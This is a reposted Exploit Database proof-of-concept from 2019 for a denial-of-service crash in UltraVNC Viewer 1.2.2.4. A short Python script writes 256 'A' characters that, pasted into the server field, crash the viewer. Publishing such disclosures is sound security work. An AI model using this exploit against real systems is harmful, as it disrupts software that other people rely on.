UltraVNC Viewer 1.2.2.4 – ‘VNC Server’ Denial of Service (PoC)

Exploit Database
123 阅读

作者： Victor Mondragón

日期： 2019-04-15
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/46702/

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#Exploit Title: UltraVNC Viewer 1.2.2.4 - Denial of Service (PoC)

#Discovery by: Victor Mondragón

#Discovery Date: 2019-04-14

#Vendor Homepage: https://www.uvnc.com/

#Software Link: https://www.uvnc.com/downloads/ultravnc/126-download-ultravnc-1224.html

#Tested Version: 1.2.2.4

#Tested on: Windows 7 x64 Service Pack 1

#Steps to produce the crash:

#1.- Run python code: UltraVNC_Viewer_1.2.2.4.py

#2.- Open UltraViewer.txt and copy content to clipboard

#3.- Open UltraVNC Viewer

#4.- In "VNC Server" Paste Clipboard

#5.- Click on "Connect"

#6.- Crashed

cod = "\x41" * 256

f = open('UltraViewer.txt', 'w')

f.write(cod)

f.close()